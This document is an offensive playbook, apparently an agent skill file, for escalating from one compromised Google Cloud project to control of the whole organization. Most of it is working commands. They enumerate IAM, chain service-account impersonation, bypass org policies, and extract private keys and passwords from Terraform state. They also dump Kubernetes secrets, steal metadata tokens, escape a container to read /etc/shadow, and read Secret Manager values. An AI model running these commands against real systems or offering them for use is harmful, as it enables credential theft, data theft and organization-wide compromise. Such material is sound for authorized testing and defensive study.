- name
- gcp-org-escalation
- description
- GCP organization-level privilege escalation — cross-project pivoting, org policy bypass, service account impersonation chains, Terraform state secrets, and GKE cluster compromise. Escalate from single-project access to org-wide control.
- metadata
- {"subdomain":"cloud","when_to_use":"gcp google cloud organization escalation privilege cross-project pivot service account impersonation org policy bypass terraform state gke cluster iam enumeration gcloud resource manager bigquery cloud function","mitre_attack":"T1078.004, T1580","tags":"cloud gcp privilege-escalation org-level cross-project"}
# GCP Organization-Level Privilege Escalation
Escalate from a single compromised GCP project to organization-wide access. GCP's hierarchical IAM (Org → Folder → Project → Resource) means permissions inherited from above are invisible at the project level. Cross-project service account impersonation, org policy constraint bypass, and Terraform state pillaging unlock lateral movement across the entire cloud estate.
## Quick Reference
```bash
# Current identity and project
gcloud auth list
gcloud config get-value project
gcloud organizations list
# Enumerate org-level IAM
gcloud organizations get-iam-policy <ORG_ID> --format=json
# List all projects in org
gcloud projects list --filter="parent.id=<ORG_ID>" --format="table(projectId,name,lifecycleState)"
# Test cross-project service account impersonation
gcloud auth print-access-token --impersonate-service-account=<SA_EMAIL>
# List org policy constraints
gcloud org-policies list --organization=<ORG_ID>
# Find Terraform state buckets
gsutil ls -p <PROJECT_ID> | xargs -I{} gsutil ls {} | grep -i terraform
```
## MITRE ATT&CK Mapping
| Technique | ID | Application |
|---|---|---|
| Valid Accounts: Cloud Accounts | T1078.004 | Abuse compromised SA or user for cross-project access |
| Cloud Infrastructure Discovery | T1580 | Enumerate projects, SAs, IAM bindings, resources across org |
| Account Manipulation: Additional Cloud Roles | T1098.001 | Add IAM bindings for persistence |
| Steal Application Access Token | T1528 | Extract SA keys, OAuth tokens, metadata tokens |
| Cloud Storage Object Discovery | T1619 | Discover Terraform state, config buckets |
## 1. IAM Enumeration at Organization Level
```bash
# List organization
ORG_ID=$(gcloud organizations list --format="value(ID)" | head -1)
echo "Org ID: $ORG_ID"
# Org-level IAM policy (who has org-wide access)
gcloud organizations get-iam-policy "$ORG_ID" --format=json > org_iam.json
cat org_iam.json | jq '.bindings[] | select(.role | test("admin|owner|editor|security")) | {role, members}'
# List all folders
gcloud resource-manager folders list --organization="$ORG_ID" --format="table(name,displayName)" > folders.txt
# Enumerate folder-level IAM
while read folder_id; do
echo "=== $folder_id ==="
gcloud resource-manager folders get-iam-policy "$folder_id" --format=json 2>/dev/null
done < <(gcloud resource-manager folders list --organization="$ORG_ID" --format="value(name)")
# List ALL projects in org
gcloud projects list --filter="parent.id=$ORG_ID" --format=json > all_projects.json
# Per-project IAM enumeration (find over-permissioned SAs)
for proj in $(jq -r '.[].projectId' all_projects.json); do
echo "=== $proj ==="
gcloud projects get-iam-policy "$proj" --format=json 2>/dev/null | \
jq '.bindings[] | select(.members[] | test("serviceAccount")) | {role, members}'
done
# List all service accounts across projects
for proj in $(jq -r '.[].projectId' all_projects.json); do
gcloud iam service-accounts list --project="$proj" --format="table(email,displayName)" 2>/dev/null
done
# Test current permissions
gcloud projects get-iam-policy <PROJECT_ID> --flatten="bindings[].members" \
--filter="bindings.members:$(gcloud auth list --filter=status:ACTIVE --format='value(account)')" \
--format="table(bindings.role)"
```
## 2. Cross-Project Service Account Impersonation
```bash
# Service account impersonation chain:
# SA-A (compromised) → impersonate SA-B (target project) → access target resources
# Check if current SA can impersonate other SAs
gcloud iam service-accounts list --project=<TARGET_PROJECT> --format="value(email)" | while read sa; do
echo "Testing: $sa"
gcloud auth print-access-token --impersonate-service-account="$sa" 2>/dev/null && echo "[+] CAN IMPERSONATE: $sa"
done
# Check who can impersonate a specific SA
gcloud iam service-accounts get-iam-policy <TARGET_SA_EMAIL> --format=json | \
jq '.bindings[] | select(.role | test("iam.serviceAccountTokenCreator|iam.serviceAccountUser"))'
# Multi-hop impersonation (SA chaining)
# SA-A → impersonate SA-B → impersonate SA-C
gcloud auth print-access-token \
--impersonate-service-account=<SA_B_EMAIL> \
--include-email 2>/dev/null
# Then use SA-B's token to impersonate SA-C via API
TOKEN_B=$(gcloud auth print-access-token --impersonate-service-account=<SA_B_EMAIL>)
curl -s -X POST "https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/<SA_C_EMAIL>:generateAccessToken" \
-H "Authorization: Bearer $TOKEN_B" \
-H "Content-Type: application/json" \
-d '{"scope":["https://www.googleapis.com/auth/cloud-platform"],"lifetime":"3600s"}'
# Default compute SA often has Editor role on project — look for it
gcloud compute instances list --project=<PROJECT_ID> --format="table(name,serviceAccounts.email)" 2>/dev/null
# Workload Identity Federation — check for external identity trust
gcloud iam workload-identity-pools list --location=global --project=<PROJECT_ID> 2>/dev/null
```
## 3. Org Policy Constraint Bypass
```bash
# List active org policy constraints
gcloud org-policies list --organization="$ORG_ID" --format="table(constraint,listPolicy,booleanPolicy)"
# Common constraints to target:
# constraints/iam.allowedPolicyMemberDomains — restricts who gets IAM
# constraints/compute.vmExternalIpAccess — blocks external IPs
# constraints/iam.disableServiceAccountKeyCreation — blocks SA key export
# constraints/compute.requireShieldedVm — forces shielded VMs
# constraints/storage.uniformBucketLevelAccess — forces uniform bucket ACLs
# Check specific constraint
gcloud org-policies describe constraints/iam.disableServiceAccountKeyCreation \
--organization="$ORG_ID" --format=json
# Bypass: constraints/iam.disableServiceAccountKeyCreation
# Cannot create key via CLI, but can still:
# 1. Use impersonation (no key needed)
gcloud auth print-access-token --impersonate-service-account=<SA_EMAIL>
# 2. Generate short-lived tokens via API
curl -s -X POST "https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/<SA_EMAIL>:generateAccessToken" \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
-d '{"scope":["https://www.googleapis.com/auth/cloud-platform"],"lifetime":"43200s"}'
# 3. Sign JWTs for federated auth
curl -s -X POST "https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/<SA_EMAIL>:signJwt" \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
-d '{"payload":"{\"iss\":\"<SA_EMAIL>\",\"sub\":\"<SA_EMAIL>\",\"aud\":\"https://oauth2.googleapis.com/token\",\"iat\":'"$(date +%s)"',\"exp\":'"$(($(date +%s)+3600))"'}"}'
# Bypass: constraints/compute.vmExternalIpAccess
# Use Cloud NAT or IAP tunnel instead of external IP
gcloud compute ssh <INSTANCE> --tunnel-through-iap --project=<PROJECT_ID>
# Bypass: constraints/iam.allowedPolicyMemberDomains
# If constraint allows only @target.com, compromise a target.com identity
# Or use a service account (SAs are exempt from domain restrictions in some configs)
```
## 4. Terraform State Access
```bash
# Terraform state files contain secrets, credentials, and full resource details
# Find Terraform state in GCS buckets
for proj in $(jq -r '.[].projectId' all_projects.json); do
gsutil ls -p "$proj" 2>/dev/null | while read bucket; do
gsutil ls -r "$bucket" 2>/dev/null | grep -iE 'terraform|\.tfstate'
done
done
# Download Terraform state
gsutil cp gs://<BUCKET>/terraform.tfstate /tmp/tfstate.json
# Extract secrets from state
cat /tmp/tfstate.json | jq -r '.. | .attributes? // empty | to_entries[] | select(.key | test("password|secret|key|token|private")) | "\(.key): \(.value)"' 2>/dev/null
# Extract service account keys from state
cat /tmp/tfstate.json | jq -r '.. | select(.type? == "google_service_account_key") | .instances[].attributes.private_key' 2>/dev/null | base64 -d > /tmp/sa_key.json
# Extract database credentials
cat /tmp/tfstate.json | jq '.. | select(.type? == "google_sql_user") | .instances[].attributes | {name, password}' 2>/dev/null
# Find Terraform Cloud/Enterprise state (if using remote backend)
# Check .terraform/terraform.tfstate for backend config
find / -name "*.tfstate" -o -name "backend.tf" -o -name ".terraform" 2>/dev/null
# Check if Terraform state bucket has versioning (access old secrets)
gsutil versioning get gs://<BUCKET>
gsutil ls -a gs://<BUCKET>/terraform.tfstate # list all versions
gsutil cp gs://<BUCKET>/terraform.tfstate#<GENERATION_ID> /tmp/old_tfstate.json
```
## 5. GKE Cluster Pivoting
```bash
# Enumerate GKE clusters across projects
for proj in $(jq -r '.[].projectId' all_projects.json); do
echo "=== $proj ==="
gcloud container clusters list --project="$proj" --format="table(name,location,currentMasterVersion,currentNodeVersion)" 2>/dev/null
done
# Get cluster credentials
gcloud container clusters get-credentials <CLUSTER_NAME> --zone=<ZONE> --project=<PROJECT_ID>
# Enumerate cluster
kubectl auth can-i --list
kubectl get namespaces
kubectl get pods --all-namespaces
kubectl get secrets --all-namespaces
# Extract secrets
kubectl get secrets --all-namespaces -o json | jq '.items[] | {namespace: .metadata.namespace, name: .metadata.name, data: (.data | to_entries[] | {key: .key, value: (.value | @base64d)})}'
# Access cloud metadata from pod (node SA token)
kubectl run probe --image=alpine --restart=Never --command -- sh -c \
"apk add curl jq && curl -s -H 'Metadata-Flavor: Google' 'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token' | jq ."
# Workload Identity — check pod SA mappings
kubectl get serviceaccounts --all-namespaces -o json | \
jq '.items[] | select(.metadata.annotations["iam.gke.io/gcp-service-account"] != null) | {namespace: .metadata.namespace, k8sSA: .metadata.name, gcpSA: .metadata.annotations["iam.gke.io/gcp-service-account"]}'
# Escape to node (if privileged pod or hostPath mount)
kubectl run escape --image=alpine --restart=Never --overrides='{
"spec":{"hostPID":true,"hostNetwork":true,"containers":[{
"name":"escape","image":"alpine","command":["nsenter","--target","1","--mount","--uts","--ipc","--net","--pid","--","bash","-c","id; cat /etc/shadow | head -3"],
"securityContext":{"privileged":true}
}]}
}'
# GKE node SA typically has compute/storage access — pivot from there
```
## 6. Cross-Service Pivoting
```bash
# BigQuery — access datasets across projects
for proj in $(jq -r '.[].projectId' all_projects.json); do
bq ls --project_id="$proj" 2>/dev/null | grep -v "datasetId"
done
# Query cross-project BigQuery (if IAM allows)
bq query --use_legacy_sql=false "SELECT * FROM \`<TARGET_PROJECT>.<DATASET>.<TABLE>\` LIMIT 100"
# Cloud Functions — list and read source code
for proj in $(jq -r '.[].projectId' all_projects.json); do
gcloud functions list --project="$proj" --format="table(name,runtime,status)" 2>/dev/null
done
# Download function source
gcloud functions describe <FUNCTION_NAME> --project=<PROJECT_ID> --format="value(sourceArchiveUrl)"
gsutil cp <SOURCE_URL> /tmp/function_source.zip
# Secret Manager — list and access secrets
for proj in $(jq -r '.[].projectId' all_projects.json); do
echo "=== $proj ==="
gcloud secrets list --project="$proj" --format="table(name,createTime)" 2>/dev/null
done
# Read secret value
gcloud secrets versions access latest --secret=<SECRET_NAME> --project=<PROJECT_ID>
# Cloud SQL — find databases
for proj in $(jq -r '.[].projectId' all_projects.json); do
gcloud sql instances list --project="$proj" --format="table(name,databaseVersion,ipAddresses)" 2>/dev/null
done
# Pub/Sub — read messages from subscriptions
Auf GitHub ansehen